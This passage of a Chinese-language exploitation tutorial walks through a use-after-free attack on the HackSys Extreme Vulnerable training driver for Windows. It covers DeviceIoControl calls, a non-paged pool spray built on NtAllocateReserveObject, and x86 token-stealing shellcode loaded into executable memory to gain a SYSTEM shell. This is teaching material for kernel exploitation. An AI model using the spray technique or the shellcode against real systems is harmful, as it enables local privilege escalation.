的回调函数指针指向了恶意代码，这就实现了对恶意代码的执行，之所以可以这样做漏洞利用，是因为我们能够预测并控制 FakeObject 在内存中的布局，使其与
UseAfterFreeObject 的布局相同 ,在这种情况下，我们可以确保伪造对象的回调函数指针指向我们想要执行的恶意代码,
缓冲区的剩余部分与做漏洞利用不相关，因为在此例中我们不关心它们的值，只关心回调函数指针。
UseAfterFreeObject 的结构定义如下：
typedef struct _USE_AFTER_FREE {
FunctionPointer Callback;
CHAR Buffer[0x54];
} USE_AFTER_FREE, *PUSE_AFTER_FREE;
//当我们填充缓冲区的前4个字节时，我们实际上是在伪造一个与 UseAfterFreeObject
结构相似的对象，该结构体包含一个回调函数指针（FunctionPointer Callback）和一个大小为0x54的缓冲区（CHAR
Buffer[0x54]），根据前面学习的能容，我们可以想到内存布局是，先是回调函数指针，再接着是缓冲区;
//所以当我们填充伪造对象缓冲区的前4个字节时，我们实际上是在设置回调函数指针的值。
typedef struct _FAKE_OBJECT { // FakeObject
CHAR Buffer[0x58]; // 0x58
} FAKE_OBJECT, *PFAKE_OBJECT;
''''
DeviceIoControl函数:
它是Windows操作系统中的一个API函数，用于向设备驱动程序发送I/O控制代码（Input/Output Control
Codes，缩写为IOCTLs）, 这个函数允许应用程序与设备驱动程序进行交互，发送控制代码以执行特定的操作，如读取、写入或配置设备。
DeviceIoControl函数的原型如下：
BOOL DeviceIoControl(
HANDLE hDevice,
DWORD dwIoControlCode,
LPVOID lpInBuffer,
DWORD nInBufferSize,
LPVOID lpOutBuffer,
DWORD nOutBufferSize,
LPDWORD lpBytesReturned,
LPOVERLAPPED lpOverlapped
);
参数解释：
hDevice：一个已打开的设备驱动程序的句柄，通常通过CreateFile函数获取;
dwIoControlCode：要发送给设备驱动程序的I/O控制代码;
lpInBuffer：一个指向输入缓冲区的指针，该缓冲区包含要发送给设备驱动程序的数据, 如果操作不需要输入数据，则此参数可以为NULL;
nInBufferSize：输入缓冲区的大小（以字节为单位）;
lpOutBuffer：一个指向输出缓冲区的指针，该缓冲区接收设备驱动程序返回的数据, 如果操作不需要返回数据，则此参数可以为NULL;
nOutBufferSize：输出缓冲区的大小（以字节为单位）;
lpBytesReturned：一个指针，指向一个变量，该变量接收设备驱动程序返回的实际数据字节数;
lpOverlapped：一个指向OVERLAPPED结构的指针，用于异步操作, 对于同步操作，此参数可以为NULL;
当成功时，DeviceIoControl函数返回非零值, 如果函数失败，它将返回0，并通过GetLastError函数提供更多错误信息。
''''
我们接下来将会使用DeviceIoControl函数与设备驱动程序交互，例如会使用不同的IOCTL（I/O控制代码）来执行针对设备驱动程序的不同操作，如分配、释放和使用UAF（Use-After-Free）对象;
DWORD inBuffSize = 1024; //定义输入缓冲区大小为1024字节
DWORD bytesRet = 0; //定义一个变量bytesRet，用于存储DeviceIoControl函数返回的字节数
BYTE _inBuffer = (BYTE_ ) HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY,
inBuffSize);
//在进程堆上分配1024字节的内存，用于输入缓冲区，将分配的内存地址赋值给inBuffer指针
//GetProcessHeap(): 此函数获取当前进程的默认堆句柄, 在本例中，这个堆将被用于分配内存;
//HEAP_ZERO_MEMORY: 此标志表示在分配内存时，将内存块中的所有字节初始化为零;
//inBuffSize: 这是我们要分配的内存块的大小（在这里是1024字节）;
//HeapAlloc(): 此函数用于在指定的堆上分配内存,
它接收3个参数：1.要在其上分配内存的堆句柄，2.分配选项（在本例中为HEAP_ZERO_MEMORY），3.以及要分配的内存的大小（字节数）;
//(BYTE*): 这是一个类型转换，它将HeapAlloc函数返回的指针转换为一个BYTE类型的指针,
因为HeapAlloc返回的是一个void指针，因此需要将其转换为与目标类型匹配的指针;
//将整个表达式放在一起，这段代码在当前进程的堆上分配了inBuffSize（1024）字节的内存，并将分配的内存地址转换为一个BYTE指针，然后赋值给inBuffer,
并且分配的内存中的所有字节都被初始化为零，因为我们使用了HEAP_ZERO_MEMORY标志。
RtlFillMemory(inBuffer, inBuffSize, 'A');
//使用RtlFillMemory函数将inBuffer指向的内存块填充为字符'A'：
//inBuffer: 这是一个BYTE指针，它指向之前分配的内存块（大小为inBuffSize，即1024字节）;
//inBuffSize: (输入缓冲区的大小)要填充的内存块的大小（字节数），1024字节;
//'A': 要填充到内存块的字符;
//RtlFillMemory(): 该函数用于将指定的内存块填充为指定的字符,
它接收3个参数：1.指向要填充的内存块的指针，2.要填充的内存块的大小（字节数），3.以及要填充的字符;
BOOL status = DeviceIoControl(dev, HACKSYS_EVD_IOCTL_ALLOCATE_UAF_OBJECT,
inBuffer, inBuffSize,
NULL, 0, &bytesRet, NULL);
//这段代码使用DeviceIoControl函数向设备驱动程序发送一个IOCTL请求，请求分配一个UAF对象，并将返回的操作状态存储在名为status的变量中:
//dev: 这是一个设备驱动程序的句柄，通过CreateFile函数获取, 这个句柄用于与设备驱动程序进行通信;
//HACKSYS_EVD_IOCTL_ALLOCATE_UAF_OBJECT: 这是一个IOCTL代码，表示我们希望执行的操作，即分配一个UAF对象;
//NULL: 这是输出缓冲区的指针, 在这个例子中，我们不需要设备驱动程序返回任何数据，所以设置为NULL;
//0: 这是输出缓冲区的大小。因为我们没有输出缓冲区，所以设置为0;
//&bytesRet: 这是一个指向DWORD变量的指针，用于接收设备驱动程序实际返回的字节数,
在这个例子中，我们不关心返回的字节数，但仍需要提供一个变量的地址。
/***
DWORD bytesRet = 0;：前面我们声明了一个DWORD类型的变量bytesRet并将其初始化为0, DWORD是一个无符号的32位整数类型;
&bytesRet：但在这行代码里，我们使用&操作符获取bytesRet变量的地址, 得到的结果是一个指向DWORD变量的指针，即一个DWORD*类型的值,
在这行代码里这个指针作为DeviceIoControl函数的其中一个参数使用;
当DeviceIoControl函数执行完毕时，它将通过bytesRet指针将返回的字节数写入到bytesRet变量中,
这意味着，当函数返回时，bytesRet变量将包含设备驱动程序实际返回的字节数;
尽管在这个示例中我们没有使用bytesRet变量，但它对于了解设备驱动程序返回了多少数据是有用的,
有些实际应用场景例如，向设备驱动程序请求一定数量的数据，并且想要检查实际返回了多少数据，那么bytesRet变量就可以提供这些信息。
***/
//NULL: 这是一个指向OVERLAPPED结构的指针, 这个参数用于异步操作，但在这个例子中，我们执行的是同步操作，所以设置为NULL；
//BOOL status: 这是DeviceIoControl函数的返回值, 如果函数成功执行，它将返回TRUE，否则返回FALSE,
在这个例子中，我们将返回值存储在名为status的变量中。
status = DeviceIoControl(dev, HACKSYS_EVD_IOCTL_FREE_UAF_OBJECT,
inBuffer, inBuffSize,
NULL, 0, &bytesRet, NULL);
//向设备驱动程序发送一个控制码 HACKSYS_EVD_IOCTL_FREE_UAF_OBJECT，以释放先前分配的UAF对象,
由于执行完这行代码后，UAF 对象将被释放，但仍然存在一个指向该对象的悬空指针, 接下来，我们只需要分配一个恶意对象，以便在后续使用 UAF
对象时，能够利用这个悬空指针做漏洞利用。
/***
在这里可以分配恶意对象
1. 分配 UAF 对象
+----------------+ +----------------------+
| UAF 对象指针 |------>| UAF 对象 (0x58 字节) |
+----------------+ +----------------------+
2. 释放 UAF 对象
+----------------+ +----------------------+
| UAF 对象指针 |------>| (空闲内存) |
+----------------+ +----------------------+
3. 分配恶意对象 (我们假设它与之前的 UAF 对象在内存中的位置相同)
+----------------+ +----------------------+
| UAF 对象指针 |------>| 恶意对象 (0x58 字节) |
+----------------+ +----------------------+
4. 使用悬空指针 (UAF 对象指针)，此时它指向恶意对象
+----------------+ +----------------------+
| UAF 对象指针 |------>| 恶意对象 (0x58 字节) |
+----------------+ +----------------------+
如上图所示，在释放 UAF 对象后，UAF 对象指针仍然指向该内存区域, 然后，当我们分配恶意对象时，假设它占据了与之前释放的 UAF
对象相同的内存位置。接下来，当我们尝试使用 UAF 对象时，实际上会使用恶意对象，从而实现漏洞利用。
***/
status = DeviceIoControl(dev, HACKSYS_EVD_IOCTL_USE_UAF_OBJECT,
inBuffer, inBuffSize,
NULL, 0, &bytesRet, NULL);
//发送给驱动程序控制码，告诉驱动程序尝试使用 UAF 对象,
由于前面我们已经释放了该对象，并分配了一个恶意对象，所以当执行这行代码时，驱动程序会尝试使用已释放的 UAF
对象，而实际上是在使用我们分配的恶意对象，这就是所谓的触发漏洞，并允许我们利用悬空指针做到了Uaf Pwn。
非分页池堆喷:
我们的目的是在UAF对象被释放之前，替换先前UAF对象所拥有的内存地址中的函数指针，如果能直接填充内存地址就最好不过了，我们要实现这一目的的话需要准备非分页池的内存布局，也就是说我们可以通过控制非分页池中的内存块，来确保UAF对象在分配时填充了我们想要的内存位置，等到UAF对象被释放后，我们就有机会替换它的内存地址中的函数指针，从而实现攻击。
在漏洞利用上，可以使用"非分页池堆喷"技术，旨在非分页池中创建大约0x58大小的内存块（这个大小需要与被利用的UAF对象的大小匹配），我们用这些对象填充非分页池，然后通过释放一些对象创建大约0x58大小的空闲块（holes）。
当UAF对象被分配时，它应该填充已释放对象打开的空闲块，然后当UAF对象被释放时，所有空闲块都可以填充假对象（包含指向我们恶意有效负载的函数指针），增加假对象覆盖UAF对象指针所指向内存的概率。
为了创建大小合适的内存块，我们应该使用任何一个大小大约是为0x58的对象，
比如使用NtAllocateReserveObject函数分配的IoReserveObject正好是0x60大小，这对于我们来做非分页池堆喷是符合要求的，（请注意，为了分配IoReserveObject，必须将对象类型ID
1 作为最后一个参数传递）,
ps: IoReserveObject是一种内存对象，可以通过调用NtAllocateReserveObject函数分配,
在分配IoReserveObject时，必须将对象类型ID 1作为最后一个参数传递，以便正确分配IoReserveObject;
对象有很多种类型，包括文件对象、事件对象、信号量对象、设备对象等等, 每种类型的对象都有一个唯一的对象类型ID，用于标识该对象的类型,
在分配对象时，必须提供对象类型ID，以指示系统应该分配哪种类型的对象, 对于分配IoReserveObject，必须将对象类型ID
1作为最后一个参数传递给NtAllocateReserveObject函数， 是用来以指示系统分配IoReserveObject类型(设备对象类型)的对象。
但尝试使用NtAllocateReserve函数存在一个问题，即没有windows API函数可以调用它,
所以我们需要从ntdll.dll中获取该函数的地址，ntdll.dll是一个包含所有NT
windows内核函数的dll，我们可以使用GetModuleHandle函数获取ntdll.dll，并使用GetProcAddress函数从dll中获取NtAllocateReserve的地址。
也就是说我们需要能够将GetProcAddress返回的地址转换为代表NtAllocateReserveObject的函数指针，为此，我们必须设置以下定义：
typedef struct _LSA_UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING;
//定义了一个结构体 _LSA_UNICODE_STRING，用于存储字符串, 它有三个字段：
//Length 表示字符串的长度
//MaximumLength 表示字符串的最大长度
//Buffer 是指向字符串的指针
typedef struct _OBJECT_ATTRIBUTES {
ULONG Length;
HANDLE RootDirectory;
UNICODE_STRING* ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor;
PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES;
//定义了另一个结构体 _OBJECT_ATTRIBUTES，用于存储对象的属性, 它有六个字段：
//Length 表示结构体的长度
//RootDirectory 表示根目录的句柄
//ObjectName 是指向字符串的指针，表示对象的名称
//Attributes 表示对象的属性
//SecurityDescriptor 是指向安全描述符的指针
//SecurityQualityOfService 是指向安全质量服务的指针
# define POBJECT_ATTRIBUTES OBJECT_ATTRIBUTES* //宏定义，意味着 POBJECT_ATTRIBUTES
是一个指向 OBJECT_ATTRIBUTES 的指针类型
// Basically declares a function pointer to the NtAllocateReserveObject
typedef NTSTATUS(WINAPI *_NtAllocateReserveObject)(
OUT PHANDLE hObject,
IN POBJECT_ATTRIBUTES ObjectAttributes,
IN DWORD ObjectType);
//定义了一个名为 _NtAllocateReserveObject 的函数指针, 这个指针指向 NtAllocateReserveObject
函数，并且可以用于在代码中调用该函数, 让我们看看这个函数的参数：
//hObject：一个输出参数，用于存储分配的内存对象的句柄
//ObjectAttributes：一个指向 OBJECT_ATTRIBUTES 结构的指针，用于指定对象的属性
//ObjectType：一个整数，用于指定要分配的对象类型。
//这段代码的作用是定义了一个函数指针，指向了 NtAllocateReserveObject 函数，这个函数可以用于分配内存对象，参数 hObject
存储分配的对象的句柄，ObjectAttributes 指定对象的属性，ObjectType 指定分配的对象类型。
我们可以这样获取函数 NtAllocateReserveObject 的地址：
1. 使用 GetModuleHandleA 函数来获取 ntdll.dll 这个动态链接库的句柄
2. 使用 GetProcAddress 函数来获取 NtAllocateReserveObject 函数的地址
3. 将该地址强制转换为 _NtAllocateReserveObject 类型的函数指针，并将它存储在变量 NtAllocateReserveObject 中
这样，代码就可以通过调用 NtAllocateReserveObject 变量来调用 NtAllocateReserveObject 函数，而不需要每次调用
GetProcAddress 函数。
_NtAllocateReserveObject NtAllocateReserveObject =
(_NtAllocateReserveObject)(GetProcAddress(GetModuleHandleA("ntdll.dll"),
"NtAllocateReserveObject"));
整个过程大概是这样：
非分页池堆喷
|
|-- UAF对象
| |-- 替换函数指针
|
|-- 非分页池
| |-- 准备内存布局
|
|-- 堆喷技术
| |-- 创建0x58大小的内存块
| |-- 填充非分页池
| |-- 通过释放一些对象创建空闲块
|
|-- UAF对象分配
| |-- 填充释放对象后打开的空闲块
|
|-- UAF对象释放
| |-- 用伪造对象填充空闲块
| |-- 恶意载荷(payload)
|
|-- 合适大小的内存块
| |-- IoReserveObject (0x60大小)
| |-- NtAllocateReserveObject函数
| |-- 对象类型ID 1
|
|-- NtAllocateReserve函数
| |-- 没有Windows API函数
| |-- 从ntdll.dll获取地址
| |-- GetModuleHandle函数
| |-- GetProcAddress函数
|
|-- 转换地址
| |-- NtAllocateReserveObject的函数指针
| |-- 设置定义
继续看代码，
std::pairstd::vector<HANDLE, std::vector<handle>> spray_pool(int objects_n){
//定义了一个名为 spray_pool 的函数，它接受一个整数参数 objects_n，并返回一个 std::pair 类型的对象;
//std::pair 对象包含两个 std::vector<handle> 类型的向量, 这两个向量分别存储分配的堆碎片整理对象（defrag
objects）和连续对象（sequential objects）的句柄。</handle></handle>
int defrag_n = 0.25 * objects_n;
int seq_n = objects_n - defrag_n;
//这两行代码是用来计算两个整数值 defrag_n 和 seq_n，它们分别表示在内存池中进行碎片整理所需对象的数量以及顺序分配对象的数量:
//int defrag_n = 0.25 * objects_n;：这一行代码将 objects_n（传递给 spray_pool 函数的整数参数）乘以 0.25，得到需要用于内存碎片整理的对象数量。这意味着我们将使用总对象数量的四分之一来进行碎片整理, 将计算结果赋值给 defrag_n 变量。注意：虽然我们将 objects_n 乘以一个浮点数（0.25），但由于 defrag_n 是一个整数，因此结果将被截断为整数。
//int seq_n = objects_n - defrag_n;：这一行代码通过将总对象数量 objects_n 减去用于碎片整理的对象数量 defrag_n，来计算用于顺序分配的对象数量。将计算结果赋值给 seq_n 变量。通过这两个值，我们可以将总对象数量分为两部分：一部分用于整理内存碎片（defrag_n），另一部分用于顺序分配（seq_n）,在接下来的代码中，我们将根据这两个值来分配和处理内存对象。
/***
这两行代码的目的是将内存池喷洒任务划分为两个部分：内存碎片整理和顺序分配, 这种划分是为了提高利用UAF（Use-After-Free）漏洞的成功率。
内存碎片整理（defrag_n）：这部分的目标是在内存池中创建连续的空闲空间, 通过分配一些对象（在这里是总对象数量的四分之一）并稍后释放它们，我们可以使内存池中的空闲空间变得更加连续, 这有助于提高我们接下来的顺序分配操作的成功率，因为它使得分配的对象更可能在内存中紧密相邻。
顺序分配（seq_n）：在内存碎片整理之后，我们会执行顺序分配, 顺序分配意味着我们将分配一系列的对象，这些对象在内存中是紧密相邻的。通过这种方式，我们提高了UAF对象在释放后被我们所控制的假对象覆盖的可能性, 当我们成功地覆盖了UAF对象，我们就可以在其中插入恶意的函数指针，从而利用UAF漏洞。
所以说这两行代码通过计算defrag_n和seq_n的值，将喷洒任务划分为两个部分，以提高利用UAF漏洞的成功率;这里选择使用四分之一的对象进行碎片整理是一种启发式策略，可以根据实际情况进行调整。
***/
// 输出分配的堆碎片整理对象和连续对象的数量
std::cout << "Number of defrag objects to allocate: " << defrag_n << "\n";
std::cout << "Number of sequential objects to allocate: " << seq_n << "\n";
// 定义两个向量，分别用于存储分配的堆碎片整理对象和连续对象的句柄
std::vector<HANDLE> defrag_handles;
std::vector<HANDLE> seq_handles;
// 从 ntdll.dll 获取 NtAllocateReserveObject 函数的地址
_NtAllocateReserveObject NtAllocateReserveObject =
(_NtAllocateReserveObject)(GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtAllocateReserveObject"));
// 如果无法获取 NtAllocateReserveObject 函数，退出程序
if (!NtAllocateReserveObject){
std::cout << "Could not get NtAllocateReserveObject\n";
exit(1);
}
// 分配堆碎片整理对象，并将句柄存储到 defrag_handles 向量中
for (int i = 0; i < defrag_n; i++){
HANDLE handle = 0;
PHANDLE result = (PHANDLE)NtAllocateReserveObject((PHANDLE)&handle, NULL, 1);
defrag_handles.push_back(handle);
}
// 分配连续对象，并将句柄存储到 seq_handles 向量中
for (int i = 0; i < seq_n; i++){
HANDLE handle = 0;
PHANDLE result = (PHANDLE)NtAllocateReserveObject((PHANDLE)&handle, NULL, 1);
seq_handles.push_back(handle);
}
// 输出已分配的堆碎片整理对象和连续对象的数量
std::cout << "Allocated " << defrag_handles.size() << " defrag objects\n";
std::cout << "Allocated " << seq_handles.size() << " sequential objects\n";
// 将两个向量组成的 pair 返回给调用者
return std::make_pair(defrag_handles, seq_handles);
}
定义了一个名为 spray_pool 的函数，其作用是通过分配大量对象来改变非分页内存池的布局，以便预测 UAF（释放后重用）对象如何被分配,
这个函数接受一个整数参数 objects_n，表示用于喷射非分页池的对象总数;
该函数首先将对象总数的四分之一用于堆碎片整理（defragmentation），剩余部分用于连续堆分配。接下来，创建两个向量 defrag_handles
和 seq_handles，分别用于存储堆碎片整理对象和连续对象的句柄;
然后，函数通过调用 GetModuleHandleA 和 GetProcAddress 函数，获取 ntdll.dll 中的
NtAllocateReserveObject 函数的地址，并将其转换为相应的函数指针类型 _NtAllocateReserveObject;
接下来的两个循环分别用于分配堆碎片整理对象和连续对象。在每个循环中，通过调用 NtAllocateReserveObject
函数来分配对象，并将分配的对象句柄添加到相应的向量中。需要注意的是，在调用 NtAllocateReserveObject 函数时，需要将最后一个参数设置为
1，以分配 IoCompletionReserve 对象;
分配完成后，函数输出分配的堆碎片整理对象和连续对象的数量。最后，使用 std::make_pair 创建一个包含两个向量的 std::pair
对象，并将其返回。这样，调用 spray_pool 函数的其他代码可以根据需要决定释放哪些对象。
我们要理解代码作用是用于分配内存对象，并将分配到的对象句柄存储在两个向量中, 输入的参数 objects_n
表示需要分配的对象的数量。代码中首先计算出需要使用 1/4
的数量来整理堆，其余的数量用于顺序分配内存,然后创建两个空的向量用于存储分配到的对象的句柄，一个向量用于存储整理堆所分配的对象，另一个用于存储顺序分配的对象。在代码中，首先获取函数
NtAllocateReserveObject 的地址，然后使用该函数来分配内存对象，并将句柄存储到相应的向量中, 最后该函数返回一个 std::pair
对象，其中包含了整理堆所分配的对象句柄向量和顺序分配对象句柄向量;
将分配到的对象句柄存储在两个向量中，是为了可以方便后续的操作,
这段代码中分配的对象句柄被存储在名为defrag_handles和seq_handles的两个向量中的目的是为了,
这些对象句柄可以在需要时被访问，以对其进行操作或释放。例如，当需要释放内存对象时，我们就可以使用句柄来执行此操作,
在日常编程中，通过在两个向量中存储对象句柄，可以将对象按照不同的类型或用途进行分类，以便于管理和维护。
理解了这些，我们就可以调用spray_pool函数，使用句柄向量来释放顺序分配中每隔一个的句柄:
(在进行顺序分配时，可以利用先前分配的句柄向量中的每隔一个的句柄来释放相应的内存对象,
每隔一个的句柄指的是在顺序分配时，我们从先前分配的对象句柄向量中选取每隔一个句柄进行释放，这样就可以在内存池中创建空闲块以便后续利用)
'''
对于这段代码中的顺序分配，实际上是一种连续分配内存的方式, 在这个过程中，我们创建了一个大小为 objects_n
的对象数组，并将它们依次分配到连续的内存地址上;
因此，每个对象都有一个对应的句柄，可以通过该句柄引用该对象。当我们说“顺序分配中每隔一个的句柄”时，意思是从该对象数组的第二个元素开始，每隔一个对象，也就是取出数组中所有索引为奇数的元素，这些元素对应的句柄就是我们需要释放的;
在这个具体的例子中，我们想要释放顺序分配中每隔一个句柄，因此我们需要释放索引为奇数的句柄,
这是因为在C++中，数组和向量的索引是从0开始的，因此第一个元素的索引是0，第二个元素的索引是1，以此类推当我们说“每隔一个”时，实际上是要跳过一个元素，因此我们需要释放索引为奇数的元素。例如，我们需要释放向量{0,
1, 2, 3, 4, 5}中的元素1、3、5;
在这个特定的漏洞攻击中，释放元素是为了创建内存池中的空闲块（holes），让攻击者可以在这些空闲块中放置任意数据，从而执行进一步的攻击。在这里，释放顺序分配中每隔一个的句柄是因为在顺序分配中，每隔一个句柄都指向一个新的对象。因此，释放每隔一个句柄就会在内存池中创建一个间隔对象，形成所需的空闲块也就是前面说的内存空隙。释放偶数元素不会创建空闲块，因为它们指向已经被使用的对象。
涉及到具体的内存分配和使用的实现细节通常情况下，操作系统会为一个进程分配一块连续的虚拟内存地址空间，而应用程序可以通过系统调用向操作系统请求内存空间。操作系统会根据请求的大小为应用程序分配一块物理内存，并把虚拟地址映射到这块物理内存上;
内存分配器在管理应用程序申请的内存时，通常也会按照一定的策略从操作系统请求一块连续的虚拟内存地址空间，并将这个空间划分成一些小块，用于满足应用程序对内存的分配请求。在这个过程中，操作系统为这些小块虚拟地址分配了物理内存，但是这些小块可能并不是在物理内存中是连续的。也就是说，应用程序在使用这些小块时，可能会涉及到虚拟内存到物理内存的映射，而操作系统会为此维护一张页表;
根据具体的实现方式，内存分配器可能会采用不同的算法来管理这些小块内存。例如，一些内存分配器可能会使用链表来组织这些小块内存，以便能够快速地查找空闲块。在这种情况下，偶数元素可能指向已经被使用的对象，而奇数元素可能是空闲块。如果应用程序使用了这种内存分配器，那么释放奇数元素对应的内存块就能够创建空闲块，从而使得应用程序能够再次使用这些内存块;
需要注意的是，具体的实现细节可能因操作系统、内存分配器的版本等因素而有所不同。
'''
std::cout << "Spraying the pool\n"; //输出提示信息：表示正在对内存池进行分配
std::pairstd::vector<HANDLE, std::vector<handle>> handles =
spray_pool(poolAllocs);
//调用了函数 spray_pool，并将返回的结果保存到了 handles 中; 前面学过spray_pool 函数是用于分配内存对象的，它返回了两个
std::vector<handle> 向量，分别保存了顺序分配和碎片整理所分配的对象句柄</handle></handle>
std::cout << "Creating " << handles.second.size() << " holes\n";
//输出提示信息：表示要在内存池中创建“空闲块”
for (int i = 0; i < handles.second.size(); i++){
if (i % 2){
CloseHandle(handles.second[i]);
handles.second[i] = NULL;
}
}
//这个 for 循环中，通过遍历 handles.second 这个保存了顺序分配对象句柄的向量。在循环内部，if (i % 2)
的条件判断会使得我们只对那些奇数下标的对象句柄进行操作。然后，我们使用 CloseHandle 函数来释放该句柄，最后将该句柄的值设置为 NULL,
这个过程就是为了在内存池中制造空隙，为后续的漏洞利用做准备。
接下来，我们需要分配内存来存储恶意载荷（payload），并创建一堆指向它的虚假对象；
在做Windows漏洞利用中，我们可以使用VirtualAlloc来分配内存，一旦为恶意载荷（payload）分配了一些虚拟地址空间，我们就可以促使驱动程序分配所需的用于执行恶意载荷的虚假对象，用以填满前面创建的所有空闲块，最终这些虚假对象将被放置在我们先前释放的奇数句柄处，因为它们指向以前已经被使用的对象，这些对象现在已经被释放并可以被重新使用了;
我们可以将这些句柄存储在向量中以便之后使用, 最后，我们可以使用DeviceIoControl调用，将虚假对象指针写入内核中，从而实现对驱动程序的攻击。
(ps：在前面的步骤中，我们释放了一些奇数对象句柄，这些句柄对应的奇数对象已经不再使用,
这些被释放的奇数对象现在已经成为奇数空闲块，可以重新用于分配新的内存。而之后我们创建的虚假对象的指针被设置为这些奇数空闲块的起始地址，所以我们可以重新使用这些奇数空闲块来存储新的虚假对象。这样，我们就可以用新的虚假对象来覆盖原来的被释放的奇数对象了，这样就可以实现对驱动程序的攻击)
char payload[] = (
"\x60"
"\x64\xA1\x24\x01\x00\x00"
"\x8B\x40\x50"
"\x89\xC1"
"\x8B\x98\xF8\x00\x00\x00"
"\xBA\x04\x00\x00\x00"
"\x8B\x80\xB8\x00\x00\x00"
"\x2D\xB8\x00\x00\x00"
"\x39\x90\xB4\x00\x00\x00"
"\x75\xED"
"\x8B\x90\xF8\x00\x00\x00"
"\x89\x91\xF8\x00\x00\x00"
"\x61"
"\xC3"
);
DWORD payloadSize = sizeof(payload);
LPVOID payloadAddr = VirtualAlloc(NULL, payloadSize,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
//使用VirtualAlloc函数为恶意代码分配内存，返回内存的起始地址,这里使用了MEM_COMMIT和MEM_RESERVE选项来申请内存,PAGE_EXECUTE_READWRITE参数允许内存的读、写和执行操作
memcpy(payloadAddr, payload, payloadSize);
LPVOID payloadAddrPtr = &payloadAddr;
std::cout << "Payload address is: " << payloadAddr << '\n';
//将恶意代码的二进制指令拷贝到申请到的内存中，打印出该内存块的起始地址
DWORD totalObjectSize = 0x58;
BYTE payloadBuffer[0x58] = {0};
memcpy(payloadBuffer, payloadAddrPtr, 4);
//定义一个大小为0x58字节的虚假对象结构体的缓冲区，将缓冲区的前四个字节设置为恶意代码的起始地址
std::cout << "Allocating fake objects\n"; //正在分配虚假对象
std::cout << "Allocating " << handles.second.size() / 2 << " fake objects\n";
//分配的虚假对象数量
for (int i = 0; i < handles.second.size() / 2; i++){
status = DeviceIoControl(dev, HACKSYS_EVD_IOCTL_ALLOCATE_FAKE_OBJECT,
payloadBuffer, totalObjectSize, NULL,
0, &bytesRet, NULL);
}
//使用DeviceIoControl函数调用驱动程序的HACKSYS_EVD_IOCTL_ALLOCATE_FAKE_OBJECT命令，分配一定数量的虚假对象,这里使用的虚假对象结构体缓冲区将被传递给驱动程序，用于创建虚假对象,循环的次数是奇数句柄数量的一半，因为我们只需要用虚假对象填补偶数句柄的空隙
//通过一个 for 循环来进行分配，循环的次数是 handles.second.size() / 2，也就是说，它会分配一半 handles.second
向量中的元素；
//循环体内使用 DeviceIoControl 调用来分配虚假对象，其中，dev
是一个句柄，表示和驱动程序的通信；HACKSYS_EVD_IOCTL_ALLOCATE_FAKE_OBJECT 是一个自定义的 I/O
控制码，用于告诉驱动程序需要分配虚假对象；payloadBuffer 是一个指向存储恶意载荷的缓冲区的指针；totalObjectSize
是虚假对象的大小；bytesRet 是一个指向接收返回值的缓冲区的指针，这里设置为 NULL。
前面释放的是奇数句柄，而这里所说的偶数句柄是指未释放的句柄,原因是当我们释放掉奇数句柄后，剩下的偶数句柄将变得不连续，这些不连续的空隙正是我们需要使用虚假对象来填补的地方,我们创建的虚假对象是用来填充偶数句柄的空隙的，因为这些偶数句柄也是我们想要利用的。在这一步中，我们不需要关心奇数句柄和对象的释放，而只需要填充偶数句柄的空闲块即可。
也许这个奇数和偶数的句柄看的有点绕，其实可以这样理解，
在这个漏洞利用中，奇数句柄与偶数句柄之间存在一种特殊的关系,在分配内存的过程中，我们分配了多个内存块，每个内存块对应着一个句柄。
奇数句柄对应着用于分配内存的函数的返回值，即虚拟地址空间的起始地址，而偶数句柄则指向之前被释放的内存块,这些之前被释放的内存块现在是空闲的，可以重新被分配使用。
下面是一个简单的示意图：
+-----------------------+-----------------------+-----------------------+-----------------------+
| Block 1 | Block 2 | Block 3 | Block 4 |
+-----------------------+-----------------------+-----------------------+-----------------------+
| Handle 1 | Handle 2 | Handle 3 | Handle 4 |
+-----------------------+-----------------------+-----------------------+-----------------------+
| Virtual Address | Free | Virtual Address | Free |
+-----------------------+-----------------------+-----------------------+-----------------------+
如上图所示，我们分配了4个内存块，每个块有一个对应的句柄。假设 Handle 1 和 Handle 3 是奇数句柄，而 Handle 2 和 Handle
4 是偶数句柄。
Handle 1 和 Handle 3 对应的是 Virtual Address，即用于分配内存的函数的返回值，而 Handle 2 和 Handle 4
则指向之前被释放的内存块，这些内存块现在是空闲的，可以被重新分配使用。
在这个漏洞利用中，我们释放了奇数句柄所指向的内存块，这样就会在偶数句柄之间创建一些空隙。我们接下来创建了一些虚假对象，这些对象的指针被设置为之前被释放的奇数句柄所指向的空闲内存块的起始地址，这样我们就可以将这些虚假对象填充到空隙中，从而实现攻击。
[漏洞利用步骤]：
1. 获取驱动程序的句柄以初始化通信
2. 填充非分页池，并创建所需大小的空闲块
3. 分配一个UAF对象
4. 释放UAF对象
5. 分配所需指向Payload的虚假对象
6. 使用UAF对象
7. 生成Windows系统shell
完整的漏洞利用代码主要功能可以概括如下：
从命令行参数中获取要分配的非分页池对象数目;
为了与驱动程序进行通信，获取指向驱动程序的句柄;
使用NtAllocateReserveObject函数填充非分页池，并创建所需的空闲块，通过调用spray_pool函数完成的；
创建UAF对象，然后立即释放该对象;
分配所需的虚假对象，这些虚假对象指向恶意载荷;
使用UAF对象;
生成Windows系统shell
代码中的spray_pool函数负责填充非分页池，然后创建所需的空闲块,它使用了NtAllocateReserveObject函数，该函数负责分配内存，并返回指向该内存的句柄。
spray_pool函数还使用了一些自定义定义和类型，例如LSA_UNICODE_STRING和OBJECT_ATTRIBUTES，以及一个指向NtAllocateReserveObject函数的指针;
这个函数的目的是为了在非分页池中分配大量对象，并且在这些对象之间创建所需的空闲块，为后续步骤留出空间,在填充了非分页池并创建了空闲块之后，就开始进行漏洞利用：
创建UAF对象->然后立即释放该对象->使用恶意载荷填充虚假对象->然后使用UAF对象->我们生成Windows系统shell
# include <iostream> // 包含标准输入输出流库</iostream>
# include <windows.h> // 包含 Windows API 库
# include <vector> // 包含向量库</vector>
// 引入 HackSysExtremeVulnerableDriver.h 中的 IOCTL 宏定义
# define HACKSYS_EVD_IOCTL_ALLOCATE_UAF_OBJECT CTL_CODE(FILE_DEVICE_UNKNOWN,
0x804, METHOD_NEITHER, FILE_ANY_ACCESS)
# define HACKSYS_EVD_IOCTL_USE_UAF_OBJECT CTL_CODE(FILE_DEVICE_UNKNOWN, 0x805,
